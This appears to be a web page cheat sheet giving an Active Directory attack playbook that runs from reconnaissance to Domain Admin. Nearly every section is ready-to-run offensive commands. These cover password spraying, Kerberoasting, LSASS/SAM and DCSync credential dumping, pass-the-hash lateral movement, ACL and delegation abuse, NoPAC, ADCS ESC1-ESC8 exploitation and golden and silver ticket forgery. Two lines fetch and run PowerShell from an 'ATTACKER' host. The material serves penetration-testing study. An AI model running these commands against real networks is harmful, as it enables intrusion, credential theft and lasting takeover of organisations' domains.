Internal Network High Value OSCP Required

Active Directory Attacks

From foothold to Domain Admin - the complete attack playbook

40+ techniques
95% of enterprises use AD
Updated 2026

🗺️ AD Attack Flow

Recon Foothold BloodHound Privesc Lateral DA DCSync

Every engagement follows this pattern. Master each step.

1

Reconnaissance & Enumeration

First contact with AD. Identify domain, users, groups, and attack surface.

Initial Domain Discovery

Get domain name, hostname, SMB signing status
nxc smb <DC_IP>
Enumerate entire subnet for AD hosts
nxc smb 192.168.1.0/24 # Find all SMB hosts

⚠️ SMB Signing Disabled?

You can relay credentials! Check: nxc smb <ip> --gen-relay-list targets.txt

✓ Pro Tip

Add DC hostname to /etc/hosts for Kerberos attacks to work properly

User Enumeration

Null session user enumeration (try this first!)
nxc smb <DC_IP> -u '' -p '' --users # Also try: -u 'guest' -p ''
RID brute force to enumerate users (works when null session fails)
nxc smb <DC_IP> -u '' -p '' --rid-brute
Validate usernames with Kerbrute (stealthy - no logon events!)
kerbrute userenum -d domain.local --dc <DC_IP> users.txt
LDAP anonymous bind (check if allowed)
ldapsearch -x -H ldap://<DC_IP> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
LDAP enumeration with ldapdomaindump
ldapdomaindump <DC_IP> -u 'domain\user' -p 'password' # Creates HTML reports of users, groups, computers, trusts

DNS Enumeration

DNS zone transfer (AXFR) - rarely works but always try
dig axfr @<DC_IP> domain.local
Enumerate DNS records with adidnsdump
adidnsdump -u domain\user -p password <DC_IP> # Dumps all DNS records from AD-Integrated DNS
Find all AD computers via DNS
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local <DC_IP>

Password Spraying

After enumerating users and password policy, spray common passwords. Stay under lockout threshold!

Password spray with NetExec
nxc smb <DC_IP> -u users.txt -p 'Password123!' --continue-on-success # Common passwords: Welcome1, Password123, Summer2024, CompanyName123
Password spray with kerbrute (stealthier - no failed logons)
kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Password123!'

⚠️ Lockout Warning

Check password policy first with nxc smb <DC> -u user -p pass --pass-pol. If lockout threshold is 5, spray max 3-4 passwords per round, then wait the lockout observation window before next round.

Comprehensive Enumeration

enum4linux-ng - all-in-one enumeration
enum4linux-ng -A <DC_IP> # With creds: -u 'user' -p 'pass'
With valid credentials - enumerate everything
nxc smb <DC_IP> -u user -p 'password' --users nxc smb <DC_IP> -u user -p 'password' --groups nxc smb <DC_IP> -u user -p 'password' --shares nxc smb <DC_IP> -u user -p 'password' --pass-pol
Enumerate logged-on users (who's logged in where)
nxc smb 192.168.1.0/24 -u user -p 'password' --loggedon-users
Find which hosts you have local admin on
nxc smb 192.168.1.0/24 -u user -p 'password' --local-auth
Enumerate domain trusts
nxc ldap <DC_IP> -u user -p 'password' --trusted-for-delegation

🔥 Quick Win: Password Policy

Check --pass-pol output for lockout threshold. If no lockout → spray passwords! If 5 attempts → spray 4 passwords, wait, repeat.

Share & GPP Password Hunting

Enumerate all accessible shares
nxc smb 192.168.1.0/24 -u user -p 'password' --shares
Spider shares and download interesting files
nxc smb <DC_IP> -u user -p 'password' -M spider_plus # Download all files: --spider-plus-download
Search for GPP passwords (Group Policy Preferences cpassword)
nxc smb <DC_IP> -u user -p 'password' -M gpp_password # Also check manually: \\domain.local\SYSVOL\domain.local\Policies\
Find files with passwords in name
nxc smb 192.168.1.0/24 -u user -p 'password' -M spider_plus -o PATTERN=password

🔍 PowerView Enumeration (Windows)

When you have Windows access, PowerView gives you deep AD enumeration capabilities.

Load PowerView in memory
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1') # Or from disk: Import-Module .\PowerView.ps1
Domain & DC Enumeration
Get-NetDomain # Current domain info Get-NetDomainController # List all DCs Get-DomainPolicy # Domain policies (password policy!) (Get-DomainPolicy).SystemAccess # Password requirements
User & Group Enumeration
Get-NetUser # All domain users Get-NetUser -SPN # Kerberoastable users Get-NetUser | select samaccountname,description # Check descriptions for passwords! Get-NetGroup # All domain groups Get-NetGroupMember -GroupName "Domain Admins"
Computer & Share Enumeration
Get-NetComputer # All domain computers Get-NetComputer -OperatingSystem "*Server*" # Find servers Find-DomainShare # Find all shares Find-DomainShare -CheckShareAccess # Accessible shares only
Find High-Value Targets
Get-NetUser -AdminCount # Protected users (AdminSDHolder) Get-NetGroup "*admin*" # All admin groups Get-NetComputer -Unconstrained # Unconstrained delegation (high value!) Get-NetUser -AllowDelegation # Users trusted for delegation
Find AS-REP Roastable & Kerberoastable Users
Get-DomainUser -PreauthNotRequired # AS-REP Roastable Get-DomainUser -SPN # Kerberoastable Get-DomainUser -SPN | select samaccountname,serviceprincipalname
GPO & OU Enumeration
Get-NetGPO # All Group Policy Objects Get-NetGPO | select displayname,gpcfilesyspath # GPO paths Get-NetOU # All Organizational Units Get-DomainGPOLocalGroup # GPO-assigned local group membership
Session & Login Hunting (find where admins are logged in)
Find-DomainUserLocation # Find where domain users are logged in Find-DomainUserLocation -UserIdentity "Administrator" # Find specific user Get-NetSession -ComputerName DC01 # Sessions on a host

💡 Pro Tip: Description Goldmine

Always check user descriptions! Lazy admins often store passwords there: Get-NetUser | ? {$_.description} | select name,description

2

BloodHound - Attack Path Mapping

BloodHound visualizes AD relationships and finds attack paths you'd never discover manually. Always run this with valid creds.

What BloodHound collects:

Group memberships, ACLs, sessions, trusts, GPO links, and object properties. It then graphs relationships to find "attack paths" - chains of permissions that lead from your current access to Domain Admin. Edges like "GenericAll", "ForceChangePassword", "AddMember" show exploitable relationships.

Data Collection

Collect from Linux (bloodhound-python)
bloodhound-python -u 'user' -p 'password' -d domain.local -dc dc01.domain.local -c all --zip
Collect from Windows (SharpHound)
.\SharpHound.exe -c all --zipfilename bloodhound.zip # Stealth: -c DCOnly (faster, less noise) # With different creds: --ldapusername USER --ldappassword PASS
PowerShell version (when .exe is blocked)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/SharpHound.ps1') Invoke-BloodHound -CollectionMethod All

Critical BloodHound Queries

Shortest Path to DA

Find Shortest Paths to Domain Admins

Kerberoastable Users

List all Kerberoastable Accounts

AS-REP Roastable

Find AS-REP Roastable Users

Unconstrained Delegation

Find Computers with Unconstrained Delegation

DCSync Rights

Find Principals with DCSync Rights

Owned → DA Path

Shortest Paths from Owned Principals

💡 Mark users as "Owned" in BloodHound as you compromise them. New paths will appear!

Key Attack Edges to Look For

These edges in BloodHound represent exploitable permissions from one principal to another.

GenericAll

Full control over object. Can reset passwords, modify group membership, write SPNs for Kerberoasting.

WriteDACL

Modify object permissions. Grant yourself GenericAll then exploit.

WriteOwner

Change object owner. Make yourself owner → grant WriteDACL → grant GenericAll.

ForceChangePassword

Reset user password without knowing current one. Immediate compromise.

AddMember

Add principals to a group. Add yourself to "Domain Admins".

GenericWrite

Write any non-protected property. Can set SPN for Kerberoasting, scriptPath for execution.

AllExtendedRights

Includes User-Force-Change-Password and membership changes.

AddKeyCredentialLink

Shadow Credentials attack. Add certificate to user/computer object.

Useful Custom Cypher Queries

Find all users with no password expiration
MATCH (u:User {passwordnotreqd:true}) RETURN u.name
Find computers where Domain Users can RDP
MATCH p=(g:Group {name:"DOMAIN USERS@DOMAIN.LOCAL"})-[r:CanRDP]->(c:Computer) RETURN p
Find users with admin on multiple computers
MATCH (u:User)-[r:AdminTo]->(c:Computer) WITH u, COUNT(c) AS count WHERE count > 5 RETURN u.name, count ORDER BY count DESC

🎯 BloodHound Pro Tips

  • Mark compromised objects as "Owned" with right-click → Mark User as Owned
  • Use "Pathfinding" to find routes between any two objects
  • Check "Node Info" (bottom panel) for valuable metadata: pwdlastset, description, etc.
  • Look for computers with Unconstrained Delegation - coerce DC auth = Golden Ticket
  • GPO abuse: Users/computers in OU → affected by GPO → GPO can be modified by you = RCE
3

Kerberos Attacks

🔥 Kerberoasting

Any domain user can request TGS tickets for service accounts. These tickets are encrypted with the service account's password hash - crack offline!

How it works:

When you request a service ticket (TGS), the KDC encrypts part of it with the service account's NTLM hash. The KDC doesn't verify you'll actually use the ticket - it just gives it to you. You then crack the encrypted portion offline with hashcat. Service accounts often have weak passwords and high privileges.

Get all kerberoastable accounts (Linux)
impacket-GetUserSPNs domain.local/user:password -dc-ip <DC_IP> -request -outputfile kerberoast.txt
Target specific high-value SPNs
impacket-GetUserSPNs domain.local/user:password -dc-ip <DC_IP> -request-user svc_admin
Rubeus Kerberoast (from Windows)
.\Rubeus.exe kerberoast /stats # Check what's available first .\Rubeus.exe kerberoast /outfile:hashes.txt .\Rubeus.exe kerberoast /user:svc_admin /nowrap # Target specific user
Crack TGS hashes (hashcat mode 13100)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

🎫 AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication" enabled. No creds needed to request!

How it works:

Normally, Kerberos requires you prove identity (preauthentication) before issuing tickets. When disabled, the KDC gives you an AS-REP encrypted with the user's hash - no proof needed. You only need valid usernames. This setting is sometimes enabled for legacy apps or misconfiguration.

Find AS-REP roastable users (no creds needed!)
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat -outputfile asrep.txt
With creds - find all vulnerable users automatically
impacket-GetNPUsers domain.local/user:password -dc-ip <DC_IP> -request
Crack AS-REP hashes (hashcat mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Rubeus AS-REP Roast from Windows
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt .\Rubeus.exe asreproast /user:vulnerable_user /nowrap

🎟️ Pass-the-Ticket (PtT)

Steal Kerberos tickets from memory and reuse them. Tickets (TGT/TGS) are valid credentials!

Export all tickets from Windows (mimikatz)
sekurlsa::tickets /export # From mimikatz
Export tickets with Rubeus
.\Rubeus.exe dump /nowrap .\Rubeus.exe dump /luid:0x3e4 /nowrap # Specific logon session
Inject ticket into current session
.\Rubeus.exe ptt /ticket:<base64_ticket> # Or with mimikatz: kerberos::ptt ticket.kirbi
Convert .kirbi to .ccache for Linux
impacket-ticketConverter ticket.kirbi ticket.ccache export KRB5CCNAME=ticket.ccache impacket-psexec domain.local/user@TARGET -k -no-pass

🔑 Over-Pass-the-Hash (Pass-the-Key)

Use NTLM hash or AES key to request a Kerberos TGT. Converts hash → ticket.

Request TGT using NTLM hash (Rubeus)
.\Rubeus.exe asktgt /user:administrator /rc4:<NTLM_HASH> /domain:domain.local /ptt
Request TGT using AES256 key (more stealthy)
.\Rubeus.exe asktgt /user:administrator /aes256:<AES_KEY> /domain:domain.local /ptt
Over-Pass-the-Hash from Linux (impacket)
impacket-getTGT domain.local/user -hashes :<NTLM_HASH> export KRB5CCNAME=user.ccache

Kerberoasting

  • • Requires valid domain creds
  • • Targets service accounts with SPNs
  • • Hash mode: 13100

AS-REP Roasting

  • • NO creds needed (just usernames)
  • • Targets accounts without preauth
  • • Hash mode: 18200

💡 Kerberos Attack Flow

1. AS-REP Roast (no creds) or Password Spray → 2. Kerberoast service accounts → 3. Crack hashes → 4. Use hash for Over-Pass-the-Hash → 5. Request TGT → 6. Pass-the-Ticket to access resources

4

Credential Access

🌧️ Password Spraying

Try common passwords against all users. Check lockout policy first!

Spray one password against all users
nxc smb <DC_IP> -u users.txt -p 'Summer2024!' --continue-on-success
Kerbrute spray (stealthy - no Windows logon events!)
kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Password123!'

💡 Common Spray Passwords

Season+Year (Winter2024!), CompanyName123!, Password1, Welcome1, Changeme1

💀 Credential Dumping

Dump local SAM (requires local admin)
nxc smb <IP> -u admin -p 'password' --sam nxc smb <IP> -u admin -p 'password' --lsa # LSA secrets nxc smb <IP> -u admin -p 'password' --ntds # Domain hashes (DC only)
SAM Registry Dump (on Windows target)
# Save registry hives (run as admin): reg save HKLM\SAM C:\Temp\SAM reg save HKLM\SYSTEM C:\Temp\SYSTEM reg save HKLM\SECURITY C:\Temp\SECURITY # Transfer to attacker, then extract with impacket: impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
Remote hash dump with secretsdump
# With password: impacket-secretsdump domain/admin:'password'@<IP> # With hash: impacket-secretsdump domain/admin@<IP> -hashes :<NTLM>
Remote LSASS dump with procdump
# On target (upload procdump first): procdump.exe -accepteula -ma lsass.exe lsass.dmp # Parse on attacker: pypykatz lsa minidump lsass.dmp
Mimikatz (on Windows target)
mimikatz.exe privilege::debug sekurlsa::logonpasswords # Dump all creds sekurlsa::tickets # Dump Kerberos tickets lsadump::sam # Dump local SAM lsadump::dcsync /user:Administrator # DCSync specific user

📡 LLMNR/NBT-NS Poisoning (Responder)

Poison name resolution requests to capture NTLMv2 hashes. Works when LLMNR/NBT-NS enabled (Windows default)!

Capture hashes with Responder
# Start Responder on your interface sudo responder -I eth0 -wv # Wait for users to mistype share names or browse nonexistent hosts # Hashes saved to: /usr/share/responder/logs/ # Crack captured NTLMv2 hashes hashcat -m 5600 NTLMv2-hashes.txt /usr/share/wordlists/rockyou.txt
NTLM Relay (when SMB signing disabled)
# Generate list of targets without SMB signing nxc smb 192.168.1.0/24 --gen-relay-list targets.txt # Disable SMB/HTTP in Responder.conf first! sudo responder -I eth0 # In another terminal - relay to targets impacket-ntlmrelayx -tf targets.txt -smb2support # Dumps SAM hashes when auth relayed!

⚠️ OPSEC Note

Responder is VERY noisy. In mature environments, ResponderGuard or similar tools will detect poisoning immediately. Use cautiously!

5

Lateral Movement

🔑 Pass-the-Hash (PtH)

Use NTLM hash directly - no need to crack!

Test hash validity
nxc smb <IP> -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 # Look for (Pwn3d!) in output = local admin!
PSExec - Creates service (most reliable, NOISY)
impacket-psexec domain/admin@<IP> -hashes :<NTLM> # Opens SYSTEM shell. Logs Event ID 7045 (service creation)
WMIExec - Uses WMI (stealthier, no service)
impacket-wmiexec domain/admin@<IP> -hashes :<NTLM> # Semi-interactive shell via WMI. No service creation
SMBExec - Executes commands via SMB (stealthy)
impacket-smbexec domain/admin@<IP> -hashes :<NTLM> # Uses services but deletes them quickly
AtExec - Uses Task Scheduler (scheduled task execution)
impacket-atexec domain/admin@<IP> -hashes :<NTLM> 'whoami' # Single command execution via scheduled task
DCOMExec - Uses DCOM (very stealthy)
impacket-dcomexec domain/admin@<IP> -hashes :<NTLM> # Uses DCOM MMC20.Application object

💻 WinRM / PS Remoting

If WinRM enabled (port 5985/5986), use it for lateral movement. Requires valid creds or hash.

WinRM with evil-winrm (hash or password)
evil-winrm -i <IP> -u administrator -H <NTLM> evil-winrm -i <IP> -u administrator -p 'password'
Check WinRM access across subnet
nxc winrm 192.168.1.0/24 -u administrator -H <NTLM>

🖥️ RDP with Restricted Admin

Restricted Admin mode allows RDP with just a hash (no password). Not enabled by default.

RDP with hash via Restricted Admin
xfreerdp /v:<IP> /u:administrator /pth:<NTLM> /restricted-admin

Noisiest

PSExec → creates service, logs everywhere, very detectable

Moderate

WMIExec, SMBExec → some logs, moderate detection

Stealthiest

DCOMExec, WinRM → fewer logs, harder to detect

🎯 Pass-the-Hash Kill Chain

1. Dump LSASS/SAM → 2. Extract NTLM hashes → 3. Test with nxc smb → 4. Choose execution method (WMIExec for stealth, PSExec for reliability) → 5. Get shell → 6. Dump more creds → 7. Repeat

6

DACL & ACL Abuse

DACL misconfigurations allow privilege escalation through object permission abuse. BloodHound finds these automatically!

🔓 GenericWrite / GenericAll

Full control or write access to AD objects. Can modify attributes, reset passwords, or add Shadow Credentials.

Find writable objects (PowerView)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "youruser"} # Look for GenericAll, GenericWrite, WriteOwner, WriteDacl
Add user to group (if GenericWrite on group)
# Linux (Samba net) net rpc group addmem "Domain Admins" lowpriv -U domain.local/lowpriv%password -S <DC_IP> # PowerShell Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv

👑 WriteOwner

Take ownership of an object → modify DACL → grant yourself full control!

Abuse WriteOwner to gain FullControl
# Step 1: Take ownership (Impacket) impacket-owneredit -action write -new-owner lowpriv -target TargetUser -dc-ip <DC_IP> domain.local/lowpriv:password # Step 2: Grant FullControl impacket-dacledit -action write -rights FullControl -principal lowpriv -target TargetUser -dc-ip <DC_IP> domain.local/lowpriv:password

👻 Shadow Credentials

With WriteProperty on a user/computer, add alternate credentials via msDS-KeyCredentialLink. No password change needed!

Add Shadow Credential (pywhisker)
# Add key credential to target pywhisker -d domain.local -u lowpriv -p 'password' --dc-ip <DC_IP> --target TargetUser --action add --filename shadow_key # Saves: shadow_key.pfx and password
Authenticate with Shadow Credential (PKINIT)
# Get TGT with certificate python3 PKINITtools/gettgtpkinit.py domain.local/TargetUser -cert-pfx shadow_key.pfx -pfx-pass <pfx_password> target.ccache # Extract NT hash from TGT python3 PKINITtools/getnthash.py domain.local/TargetUser -key <AS-REP_key> # Use the hash! impacket-wmiexec domain.local/TargetUser@<IP> -hashes :<NT_HASH>

Why Shadow Creds?

  • • No password change = no user lockout
  • • No alerts about password reset
  • • Stealthier than force password change

Windows Tool

Whisker.exe add /target:TargetUser

🔄 Self-Membership Abuse

Self-Membership ACE allows adding yourself to a group. Requires LDAP (net rpc fails)!

Add self to group via LDAP (Python)
# Self-Membership requires LDAP, not RPC! # Use bloodyAD or custom LDAP script bloodyAD -d domain.local -u lowpriv -p 'password' --host <DC_IP> add groupMember "Backup Operators" lowpriv

⚠️ Re-Authentication Required

After adding to group, you must re-authenticate (new Kerberos ticket) for group membership to take effect!

7

Delegation Attacks

🔓 Unconstrained Delegation

Computers with unconstrained delegation store TGTs of connecting users. Compromise one → steal tickets!

Find unconstrained delegation computers
# PowerView Get-DomainComputer -Unconstrained # ADSearch ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
Extract cached TGTs with Rubeus
.\Rubeus.exe triage # List cached tickets .\Rubeus.exe dump /nowrap # Dump all tickets .\Rubeus.exe monitor /interval:5 # Monitor for new tickets

🔐 Constrained Delegation

Find constrained delegation
impacket-findDelegation domain.local/user:password -dc-ip <DC_IP>
Exploit constrained delegation (S4U attack)
impacket-getST -spn cifs/target.domain.local -impersonate Administrator domain.local/svc_sql:password export KRB5CCNAME=Administrator.ccache impacket-psexec target.domain.local -k -no-pass

🔄 Resource-Based Constrained Delegation (RBCD)

With GenericWrite on a computer, configure RBCD to impersonate any user to that computer!

RBCD Attack Chain (Linux)
# Step 1: Create machine account (MAQ > 0 required) impacket-addcomputer -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!' -dc-ip <DC_IP> domain.local/lowpriv:password # Step 2: Configure RBCD on target computer impacket-rbcd -delegate-from 'FAKECOMP$' -delegate-to 'TARGET$' -dc-ip <DC_IP> -action write domain.local/lowpriv:password # Step 3: S4U attack to impersonate Administrator impacket-getST -spn cifs/TARGET.domain.local -impersonate Administrator -dc-ip <DC_IP> domain.local/FAKECOMP$:FakePass123! # Step 4: Use ticket export KRB5CCNAME=Administrator@cifs_TARGET.domain.local@DOMAIN.LOCAL.ccache impacket-psexec TARGET.domain.local -k -no-pass

💡 RBCD Requirements

Need GenericWrite/GenericAll on target computer + MachineAccountQuota > 0 (default is 10) OR existing controlled account with SPN

🎭 NoPAC / sAMAccountName Spoofing

CVE-2021-42278/42287 - Rename account to match DC, request TGT, revert name. KDC issues DC-level ticket!

NoPAC Attack (requires GenericAll on any user)
# Step 1: Clear SPN (required for TGT request) bloodyAD -d domain.local -u lowpriv -p 'password' --host <DC_IP> set object victimuser servicePrincipalName # Step 2: Rename to match DC (without $) bloodyAD -d domain.local -u lowpriv -p 'password' --host <DC_IP> set object victimuser sAMAccountName -v DC01 # Step 3: Get TGT as "DC01" impacket-getTGT domain.local/DC01:victimpassword -dc-ip <DC_IP> # Step 4: Revert sAMAccountName bloodyAD -d domain.local -u lowpriv -p 'password' --host <DC_IP> set object DC01 sAMAccountName -v victimuser # Step 5: S4U2self - impersonate Administrator KRB5CCNAME=DC01.ccache impacket-getST domain.local/DC01 -self -impersonate Administrator -altservice cifs/DC01.domain.local -k -no-pass -dc-ip <DC_IP> # Step 6: SYSTEM shell on DC! KRB5CCNAME=Administrator@cifs_DC01.domain.local@DOMAIN.LOCAL.ccache impacket-psexec DC01.domain.local -k -no-pass

⚠️ NoPAC Patched

Patched in Nov 2021 (KB5008102/KB5008380). Still works on unpatched systems - check with noPac scanner first!

8

ADCS Certificate Attacks

AD Certificate Services misconfigurations (ESC1-ESC13) allow privilege escalation through PKI abuse. Bypasses VBS/Credential Guard!

🔍 ADCS Enumeration

Find all vulnerable certificate templates
# Certipy - comprehensive ADCS enumeration certipy find -u user@domain.local -p 'password' -dc-ip <DC_IP> -vulnerable -stdout # Outputs: ESC1, ESC2, ESC3, ESC4, ESC6, ESC7, ESC8 findings # Windows - Certify .\Certify.exe find /vulnerable

📜 ESC1 - SAN Impersonation

Template allows enrollee to specify Subject Alternative Name (SAN). Request cert as any user!

ESC1 - Request certificate as Administrator
# Request cert with Admin UPN in SAN certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@domain.local # Authenticate with certificate (PKINIT) certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # Returns NT hash and TGT!

📜 ESC2 - Any Purpose EKU

Template with Any Purpose EKU or no EKU. Can be used for client authentication.

ESC2 - Request certificate with Any Purpose EKU
certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'AnyPurposeTemplate' certipy auth -pfx user.pfx -dc-ip <DC_IP>

📜 ESC3 - Enrollment Agent Abuse

Request cert on behalf of another user using enrollment agent certificate.

ESC3 - Two-step enrollment agent attack
# Step 1: Get Enrollment Agent certificate certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'EnrollmentAgent' # Step 2: Use it to request cert on behalf of Admin certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'User' -on-behalf-of 'domain\administrator' -pfx enrollmentagent.pfx certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'User' -on-behalf-of 'domain\Administrator' -pfx enrollmentagent.pfx

📜 ESC4 - Vulnerable Template ACLs

With WriteDacl/WriteOwner on template, modify it to enable ESC1!

ESC4 - Modify template to enable SAN
# Modify template to allow SAN specification certipy template -u user@domain.local -p 'password' -template 'TargetTemplate' -save-old # Now exploit as ESC1 certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'TargetTemplate' -upn administrator@domain.local

📜 ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

CA flag allows SAN in all certificate requests, regardless of template settings.

ESC6 - Request any template with custom SAN
# If EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on CA certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'User' -upn administrator@domain.local # Works on ANY template!

📜 ESC7 - Vulnerable CA Access Control

ManageCA + ManageCertificates rights on CA = enable approval + issue denied requests.

ESC7 - Abuse ManageCA rights
# Step 1: Grant yourself ManageCertificates rights certipy ca -u user@domain.local -p 'password' -ca 'CA-NAME' -add-officer user # Step 2: Enable SubCA template certipy ca -u user@domain.local -p 'password' -ca 'CA-NAME' -enable-template SubCA # Step 3: Request SubCA cert (will be denied) certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template SubCA -upn administrator@domain.local # Step 4: Issue the denied request certipy ca -u user@domain.local -p 'password' -ca 'CA-NAME' -issue-request <REQUEST_ID>

📜 ESC8 - NTLM Relay to HTTP Enrollment

Relay NTLM authentication to certificate enrollment endpoint. Coerce DC machine account!

ESC8 - NTLM relay to CA web enrollment
# Start relay targeting CA web enrollment certipy relay -ca ca.domain.local -template 'DomainController' # In another terminal - coerce DC authentication python3 PetitPotam.py <ATTACKER_IP> <DC_IP> # Or: Coercer, PrinterBug, DFSCoerce # Certipy receives DC$ certificate, then: certipy auth -pfx dc.pfx -dc-ip <DC_IP>

Template Misconfigs

  • ESC1: Enrollee supplies SAN
  • ESC2: Any Purpose EKU
  • ESC3: Enrollment Agent abuse
  • ESC9: No security extension

ACL & Relay Attacks

  • ESC4: Writable template ACLs
  • ESC7: CA ManageCA rights
  • ESC8: NTLM relay to HTTP
  • ESC11: RPC relay bypass

💡 Why ADCS Bypasses VBS/Credential Guard

ADCS attacks exploit certificate issuance logic, not credential storage. VBS protects LSASS memory; certs authenticate via PKINIT (different path).

9

Domain Dominance

You've reached Domain Admin or equivalent. Time to own everything.

💀 DCSync Attack

Replicate AD data as if you were a DC. Dump every hash in the domain!

How it works:

DCSync abuses the MS-DRSR replication protocol. Domain Controllers use this to sync AD data between each other. If you have DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights (Domain Admins have these by default), you can request replication of any user's password data - including the krbtgt hash for Golden Tickets.

DCSync - dump all domain hashes (Impacket)
impacket-secretsdump domain.local/admin:password@<DC_IP> # Or with hash: impacket-secretsdump domain.local/admin@<DC_IP> -hashes :<NTLM>
DCSync specific user (faster, less noisy)
impacket-secretsdump -just-dc-user krbtgt domain.local/admin:password@<DC_IP>
DCSync with Mimikatz (from Windows)
mimikatz.exe privilege::debug # DCSync specific user (get krbtgt for golden ticket): lsadump::dcsync /domain:domain.local /user:krbtgt # DCSync Administrator: lsadump::dcsync /domain:domain.local /user:Administrator # Dump all domain users: lsadump::dcsync /domain:domain.local /all /csv

🏆 Golden Ticket

With krbtgt hash, forge tickets for any user. Valid until krbtgt password changes (rarely happens)!

Why Golden Tickets are "game over":

The krbtgt account encrypts/signs all TGTs in the domain. With its hash, you can forge a TGT for any user (even non-existent ones!) with any group memberships. The KDC can't tell the difference. The krbtgt password rarely changes, so Golden Tickets persist through password resets. This is the ultimate persistence mechanism.

Create Golden Ticket with Impacket (Linux)
# Get domain SID first impacket-lookupsid domain.local/admin:password@<DC_IP> # Create golden ticket impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache impacket-psexec domain.local/Administrator@dc01.domain.local -k -no-pass
Create Golden Ticket with Mimikatz (Windows)
mimikatz.exe privilege::debug # Create golden ticket (replace values from DCSync output): kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<KRBTGT_NTLM> /ptt # Verify ticket is loaded: klist # Now access DC: dir \\\\dc01.domain.local\\C$

💡 Getting the krbtgt Hash

Use DCSync to get the krbtgt hash: lsadump::dcsync /domain:domain.local /user:krbtgt - look for the NTLM hash in output.

🚨 Persistence Warning

Golden tickets are incredibly powerful but may trigger alerts in mature environments. Use responsibly and only when authorized!

🥈 Silver Ticket

Forge service ticket using service account hash. Stealthier than Golden - no DC contact needed!

Create Silver Ticket (Linux)
# Silver ticket for CIFS (file access) impacket-ticketer -nthash <SERVICE_HASH> -domain-sid S-1-5-21-... -domain domain.local -spn cifs/target.domain.local Administrator export KRB5CCNAME=Administrator.ccache impacket-smbclient target.domain.local -k -no-pass

Golden vs Silver

  • Golden: krbtgt hash → any service
  • Silver: service hash → one service

Common Silver SPNs

CIFS, HTTP, MSSQLSvc, LDAP, HOST

📋 AD Attack Checklist